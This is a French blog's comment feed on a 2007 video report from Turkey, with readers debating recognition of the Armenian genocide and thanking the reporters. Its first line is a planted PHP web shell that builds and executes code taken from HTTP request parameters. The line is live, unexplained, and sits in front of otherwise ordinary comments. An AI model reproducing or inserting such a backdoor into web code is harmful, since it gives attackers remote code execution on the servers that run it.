if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['779f808d8c20c43908cba936a6f2fef4']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Comments on: [JOUR 7] Dernier jour en Turquie http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/ Video Blog Reportage Participatif, live autour du Globe Sun, 15 Jan 2012 20:13:25 +0000 hourly 1 http://wordpress.org/?v= By: Zabel http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1209 Zabel Thu, 22 Mar 2007 11:46:33 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1209 Bonjour, Vous avez des remarques justes P'tit loup, mais voyez-vous, le mensonge est une arme redoutable. C'est la base de l'éducation qu'a choisi Attatürk pour son peuple et aujourd'hui c'est le même couplet qu'on nous jette à la figure de la part de toutes les générations confondues. Deniz a écrit : "Chaque partie a oublié la douleur qu’elle a fait subir à l’autre..." qu'est-ce que les turcs ont perdu en 1915 ? ........ En revanche ils ont gagné des territoires volés aux Arméniens morts durant le génocide et aux autres partis, contraits d'exil. Ils ont récupérés des propriétés et des biens gratuitement (après que Talaat, Enver et Djémal et leurs accolytes aient remplis leurs poches). Les Turcs sont restés sur place, n'ont pas vécu la vie en diaspora forcée. Ils n'ont pas craint l'assimilation, l'oubli de leur langue et de leur culture. (En revanche l'on imposé à leurs minorités restées au pays.) Arrêtez !!! Ca suffit !!! Ne recrachez pas les erreurs de vos aînés. Viendra le jour où vous tomberez de haut parce que l'histoire est déjà écrite, elle s'écrit tous les jours sans l'aide d'historiens et de juristes ni même de gouvernement irrespectueux de leur passé. C'est bien un génocide qui a eu lieu. Tant que cela ne sera pas reconnu par la Turquie et les Turcs il ne pourrait y avoir de discussions convenables. Il n'y a pas de place pour le mensonge, le dénie, le négationnisme et la falsification. Bonjour,

Vous avez des remarques justes P’tit loup, mais voyez-vous, le mensonge est une arme redoutable. C’est la base de l’éducation qu’a choisi Attatürk pour son peuple et aujourd’hui c’est le même couplet qu’on nous jette à la figure de la part de toutes les générations confondues.

Deniz a écrit : “Chaque partie a oublié la douleur qu’elle a fait subir à l’autre…” qu’est-ce que les turcs ont perdu en 1915 ? ……..
En revanche ils ont gagné des territoires volés aux Arméniens morts durant le génocide et aux autres partis, contraits d’exil. Ils ont récupérés des propriétés et des biens gratuitement (après que Talaat, Enver et Djémal et leurs accolytes aient remplis leurs poches). Les Turcs sont restés sur place, n’ont pas vécu la vie en diaspora forcée. Ils n’ont pas craint l’assimilation, l’oubli de leur langue et de leur culture. (En revanche l’on imposé à leurs minorités restées au pays.)

Arrêtez !!! Ca suffit !!! Ne recrachez pas les erreurs de vos aînés. Viendra le jour où vous tomberez de haut parce que l’histoire est déjà écrite, elle s’écrit tous les jours sans l’aide d’historiens et de juristes ni même de gouvernement irrespectueux de leur passé. C’est bien un génocide qui a eu lieu. Tant que cela ne sera pas reconnu par la Turquie et les Turcs il ne pourrait y avoir de discussions convenables. Il n’y a pas de place pour le mensonge, le dénie, le négationnisme et la falsification.

]]> By: P'tit loup http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1054 P'tit loup Wed, 21 Mar 2007 08:56:11 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1054 Je reviens deux secondes sur le commentaire scandaleux de Deniz : 1 - la déportation programmée suivie d'exterminations de populations civiles a concerné les arméniens pas les turcs. Vous n'avez pas le droit de renvoyer dos à dos victimes et bourreaux. 2 - les échanges de populations grecques et turques sont la conséquence du traité de Lausanne : personne ne nie en Europe la tragédie des turcs de Roumélie et des Grecs d'Asie mineure. Réécoutez quelques rebetika pour vous mettre au diapason des exilés d'Anatolie. Je reviens deux secondes sur le commentaire scandaleux de Deniz :
1 – la déportation programmée suivie d’exterminations de populations civiles a concerné les arméniens pas les turcs. Vous n’avez pas le droit de renvoyer dos à dos victimes et bourreaux.
2 – les échanges de populations grecques et turques sont la conséquence du traité de Lausanne : personne ne nie en Europe la tragédie des turcs de Roumélie et des Grecs d’Asie mineure. Réécoutez quelques rebetika pour vous mettre au diapason des exilés d’Anatolie.

]]> By: Isabelle http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1052 Isabelle Wed, 21 Mar 2007 03:18:04 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1052 Un peu en retard désolée, prise par une exposition que je dois préparée dans le cadre de l'Année de l'Arménie. J'ai visionné et écouté ce soir les deux dernières vidéos. Merci beaucoup pour ces reportages et cette nouvelle façon de communiquer. Merci aussi pour votre implication. Bonne continuation Un peu en retard désolée, prise par une exposition que je dois préparée dans le cadre de l’Année de l’Arménie.
J’ai visionné et écouté ce soir les deux dernières vidéos.

Merci beaucoup pour ces reportages et cette nouvelle façon de communiquer.

Merci aussi pour votre implication.

Bonne continuation

]]> By: Tonio http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1045 Tonio Tue, 20 Mar 2007 22:25:44 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1045 Vraiment intéressant, félicitations! J'ai suivit avec beaucoup d'attention, j'ai eu vaguement peur de ne pas tout suivre (je connais presque pas l'histoire de cette région) mais finalement pas du tout... même pour les néophytes c'était très intéressant. Alors merci. J'imagine que les idées pour la suite ne manque pas, mais si jamais j'en aurais peut être une à vous soumettre... à bientôt et bonne continuation! Vraiment intéressant, félicitations!
J’ai suivit avec beaucoup d’attention, j’ai eu vaguement peur de ne pas tout suivre (je connais presque pas l’histoire de cette région) mais finalement pas du tout… même pour les néophytes c’était très intéressant. Alors merci.
J’imagine que les idées pour la suite ne manque pas, mais si jamais j’en aurais peut être une à vous soumettre…
à bientôt et bonne continuation!

]]> By: deniz http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1044 deniz Tue, 20 Mar 2007 22:20:08 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1044 Tous mes remerciements tardifs pour cet espace de liberté, pour l’ensemble des contributions et pour l’enthousiasme que vous avez bien voulu partager avec nous. Et aussi toutes mes excuses à tous ceux qui se sont sentis blessés ou offensés par mes propos. La première conclusion que je tire de vos reportages et des témoignages exprimés sur ce blog, c’est que les mémoires réciproques des Turcs et des Arméniens ne se correspondent pas. Chaque partie a oublié la douleur qu’elle a fait subir à l’autre et a fortement intériorisé en gardant au fond d’elle-même une part immense de souffrance. Je pense qu’il faut en quelque sorte essayer de découvrir des passages secrets pour que chacun puisse se sentir dans la peau de l’autre. Il faut aussi essayer de comprendre le processus d’éclatement sanglant et douloureux d’un Empire multiconfessionnel et pluriethnique. Il faut peut-être essayer d'appréhender l’ensemble du contexte, les réalités historiques et géographiques, les responsabilités multiples qui ont conduit à cette catastrophe (pour paraphraser encore une fois l’historien Gilles Veinstein) sans la transformer en une scène mythologique, en un assaut des forces du mal contre les forces du bien, hors de tout temps et de tout espace. C’est pour sortir du dialogue parfois conflictuel turco-arménien que je conseille la lecture d'un livre de référence de Necati Cumali (auteur turc originaire des Balkans) intitulé « Macédoine » (Sindbad/Actes Sud, 283 p.) récemment (en février 2007) traduit en français ; dans lequel à travers onze nouvelles il revient sur un passé, doublement oublié voire nié, en Turquie et en Grèce. Il relate son enfance dans Florina, sa ville natale, devenue grecque, où il ne reste pratiquement plus aucune trace de la présence ottomane et musulmane. Dans la présentation du livre, il est dit que Necati Cumali écrivait pour rappeler qu’il y a eu coexistence, amour, fraternité entre tous ces peuples malgré les différences transformées en haines au gré des enjeux politiques de l’époque. Sous la plume de Cumali, l’ensemble de ses récits de voyage ou d'essais consacrés à l'histoire des Balkans rappelle sans cesse les deux valeurs fondatrices de son œuvre : l’humanisme et la fraternité. Il répète à travers les personnages de ses nouvelles : « Rien ne peut forcer les gens à devenir des ennemis » Rien ne doit nous forcer à devenir des ennemis. Merci et bonne continuation. Tous mes remerciements tardifs pour cet espace de liberté, pour l’ensemble des contributions et pour l’enthousiasme que vous avez bien voulu partager avec nous. Et aussi toutes mes excuses à tous ceux qui se sont sentis blessés ou offensés par mes propos.

La première conclusion que je tire de vos reportages et des témoignages exprimés sur ce blog, c’est que les mémoires réciproques des Turcs et des Arméniens ne se correspondent pas. Chaque partie a oublié la douleur qu’elle a fait subir à l’autre et a fortement intériorisé en gardant au fond d’elle-même une part immense de souffrance. Je pense qu’il faut en quelque sorte essayer de découvrir des passages secrets pour que chacun puisse se sentir dans la peau de l’autre. Il faut aussi essayer de comprendre le processus d’éclatement sanglant et douloureux d’un Empire multiconfessionnel et pluriethnique. Il faut peut-être essayer d’appréhender l’ensemble du contexte, les réalités historiques et géographiques, les responsabilités multiples qui ont conduit à cette catastrophe (pour paraphraser encore une fois l’historien Gilles Veinstein) sans la transformer en une scène mythologique, en un assaut des forces du mal contre les forces du bien, hors de tout temps et de tout espace.

C’est pour sortir du dialogue parfois conflictuel turco-arménien que je conseille la lecture d’un livre de référence de Necati Cumali (auteur turc originaire des Balkans) intitulé « Macédoine » (Sindbad/Actes Sud, 283 p.) récemment (en février 2007) traduit en français ; dans lequel à travers onze nouvelles il revient sur un passé, doublement oublié voire nié, en Turquie et en Grèce. Il relate son enfance dans Florina, sa ville natale, devenue grecque, où il ne reste pratiquement plus aucune trace de la présence ottomane et musulmane. Dans la présentation du livre, il est dit que Necati Cumali écrivait pour rappeler qu’il y a eu coexistence, amour, fraternité entre tous ces peuples malgré les différences transformées en haines au gré des enjeux politiques de l’époque.

Sous la plume de Cumali, l’ensemble de ses récits de voyage ou d’essais consacrés à l’histoire des Balkans rappelle sans cesse les deux valeurs fondatrices de son œuvre : l’humanisme et la fraternité. Il répète à travers les personnages de ses nouvelles : « Rien ne peut forcer les gens à devenir des ennemis »

Rien ne doit nous forcer à devenir des ennemis.

Merci et bonne continuation.

]]> By: antoine http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1019 antoine Mon, 19 Mar 2007 20:29:57 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1019 Merci à vous, Si vos interviews sont succinctes, certainement pour des raisons de temps et de budget, le débat a été ouvert. Le concept du documentaire "par les commentaires" que permet le blog est vraiment à creuser. A vous voir, beaucoup d'idées germent dans ma tête et j'espère que ce genre d'initiative va se développer en tout cas. Merci à vous,
Si vos interviews sont succinctes, certainement pour des raisons de temps et de budget, le débat a été ouvert. Le concept du documentaire “par les commentaires” que permet le blog est vraiment à creuser. A vous voir, beaucoup d’idées germent dans ma tête et j’espère que ce genre d’initiative va se développer en tout cas.

]]> By: Zabel http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1014 Zabel Mon, 19 Mar 2007 08:01:07 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1014 Bonjour, Mille mercis Alban et Tristan. Ce fut un voyage et des rencontres intéressants. Nous avons éouté et discuté. J'espère que les Turcs et les personnes qui ne connaissaient pas notre histoire ont appris plus de choses sur les évènements du passé et qu'aujourd'hui on arrêtera de nous dire "prouvez 1915" ou "il faut oublier c'est de l'histoire ancienne". Reconnaître et demandez pardon permettent d'avancer. Je veux faire le deuil de mon grand-père que je n'ai pas connu et pourtant j'ai l'impression de l'avoir dans ma peau, dans mon coeur et dans ma tête tout le temps. Merci beaucoup. Bon courage, continuez, contrairement à d'autres journalistes, vous êtes ouverts et ne privilégiez pas le scoop, le sensationnel, les évènements médiatiques furtifs et parfois futiles. "Moi (aussi), je suis de ce peuple qui dort sans sépulture Qui a choisit de mourir sans abdiquer sa foi Qui n’a jamais baissé la tête sous l’injure Qui survit malgré tout et qui..." réclame LA justice et le pardon. Bonjour,

Mille mercis Alban et Tristan. Ce fut un voyage et des rencontres intéressants.

Nous avons éouté et discuté. J’espère que les Turcs et les personnes qui ne connaissaient pas notre histoire ont appris plus de choses sur les évènements du passé et qu’aujourd’hui on arrêtera de nous dire “prouvez 1915″ ou “il faut oublier c’est de l’histoire ancienne”.

Reconnaître et demandez pardon permettent d’avancer. Je veux faire le deuil de mon grand-père que je n’ai pas connu et pourtant j’ai l’impression de l’avoir dans ma peau, dans mon coeur et dans ma tête tout le temps.

Merci beaucoup. Bon courage, continuez, contrairement à d’autres journalistes, vous êtes ouverts et ne privilégiez pas le scoop, le sensationnel, les évènements médiatiques furtifs et parfois futiles.

“Moi (aussi), je suis de ce peuple qui dort sans sépulture
Qui a choisit de mourir sans abdiquer sa foi
Qui n’a jamais baissé la tête sous l’injure
Qui survit malgré tout et qui…” réclame LA justice et le pardon.

]]> By: Natacha QS http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-1010 Natacha QS Mon, 19 Mar 2007 03:05:06 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-1010 J'ai déjà dit tout le bien que je pense de votre série (d'ailleurs outre notre indéfectible soutien amical, notre société imarginal.com est partenaire de votre aventure). Bonne idée aussi de conclure par un petit sujet de fin qui montre un peu l'ambiance de la ville. Je pense que ce serait bien d'avoir un blogueur textuel (une sorte de blogueur-copilote) qui accompagne votre travail visuel pour faire des notes d'actu (comme on essaye de le faire sur memoire-vive.org pour l'actu chaude). Sans doute que tout ce que vous ne racontez pas (par manque de temps) et aussi intéressant que ce que vous montrez. En tant que blogueur plongé dans l'actu, on ressent, perçoit souvent beaucoup de choses. Les sujets que vous traitez sont délicats et des notes complémentaires pourraient nous éclairer (pour ouvrir le sujet à ceux qui n'y sont pas sensibilisés), contextualiser vos séquences (à l'instar du fameux Kevin Sites / Yahoo) qui mêlent histoire contemporaine et actualité. Une bonne éditorialisation mettrait en valeur vos vidéos! Bonne route, prenez soin de vous, c'est bien de voir un travail évoluer ! :-) J’ai déjà dit tout le bien que je pense de votre série (d’ailleurs outre notre indéfectible soutien amical, notre société imarginal.com est partenaire de votre aventure).

Bonne idée aussi de conclure par un petit sujet de fin qui montre un peu l’ambiance de la ville. Je pense que ce serait bien d’avoir un blogueur textuel (une sorte de blogueur-copilote) qui accompagne votre travail visuel pour faire des notes d’actu (comme on essaye de le faire sur memoire-vive.org pour l’actu chaude). Sans doute que tout ce que vous ne racontez pas (par manque de temps) et aussi intéressant que ce que vous montrez. En tant que blogueur plongé dans l’actu, on ressent, perçoit souvent beaucoup de choses. Les sujets que vous traitez sont délicats et des notes complémentaires pourraient nous éclairer (pour ouvrir le sujet à ceux qui n’y sont pas sensibilisés), contextualiser vos séquences (à l’instar du fameux Kevin Sites / Yahoo) qui mêlent histoire contemporaine et actualité. Une bonne éditorialisation mettrait en valeur vos vidéos!

Bonne route, prenez soin de vous, c’est bien de voir un travail évoluer ! :-)

]]> By: sevan minassian http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-999 sevan minassian Sun, 18 Mar 2007 19:03:43 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-999 merci beaucoup à vous deux. Je vais vous dire ce qui m'a le plus plu, c'est de voir Istanbul avec vous. Je rêve de cette ville. Je sais, ça n'a rien à voir avec le reste, mais le reste je ne le savais que trop. merci beaucoup à vous deux. Je vais vous dire ce qui m’a le plus plu, c’est de voir Istanbul avec vous. Je rêve de cette ville.
Je sais, ça n’a rien à voir avec le reste, mais le reste je ne le savais que trop.

]]> By: Armand Arapian http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-997 Armand Arapian Sun, 18 Mar 2007 17:48:31 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-997 Moi, je suis de ce peuple qui dort sans sépulture Qui a choisit de mourir sans abdiquer sa foi Qui n'a jamais baissé la tête sous l'injure Qui survit malgré tout et qui ne se plaint pas Bravo, bravo et merci à Tristan et Alban, vous êtes de drôles de gars! Merci pour cet espace de liberté que vous nous avez ouvert. Cette semaine passée avec vous m'a été très importante, et je pense pour d'autres aussi. Moi, je suis de ce peuple qui dort sans sépulture
Qui a choisit de mourir sans abdiquer sa foi
Qui n’a jamais baissé la tête sous l’injure
Qui survit malgré tout et qui ne se plaint pas

Bravo, bravo et merci à Tristan et Alban, vous êtes de drôles de gars! Merci pour cet espace de liberté que vous nous avez ouvert. Cette semaine passée avec vous m’a été très importante, et je pense pour d’autres aussi.

]]> By: P'tit loup http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-996 P'tit loup Sun, 18 Mar 2007 17:08:35 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-996 Merci pour ce reportage qui constitue un excellent témoignage sur l'évolution de la perception du problème arménien en Turquie. Il faudrait le faire visionner aux parlementaires français qui travaillent sur la pénalisation de la négation du génocide, et en particulier aux ssénateurs. Bon retour chez nous. Merci pour ce reportage qui constitue un excellent témoignage sur l’évolution de la perception du problème arménien en Turquie. Il faudrait le faire visionner aux parlementaires français qui travaillent sur la pénalisation de la négation du génocide, et en particulier aux ssénateurs. Bon retour chez nous.

]]> By: Tristan http://www.blogtrotters.fr/2007/03/18/jour-7-dernier-jour-en-turquie/comment-page-1/#comment-994 Tristan Sun, 18 Mar 2007 16:04:46 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-7-dernier-jour-en-turquie/#comment-994 Jean> Sache juste que nous pensons très fort au Darfour. Mais nous préférons attendre d'être certains avant d'annoncer notre prochain projet. :) Jean> Sache juste que nous pensons très fort au Darfour. Mais nous préférons attendre d’être certains avant d’annoncer notre prochain projet. :)

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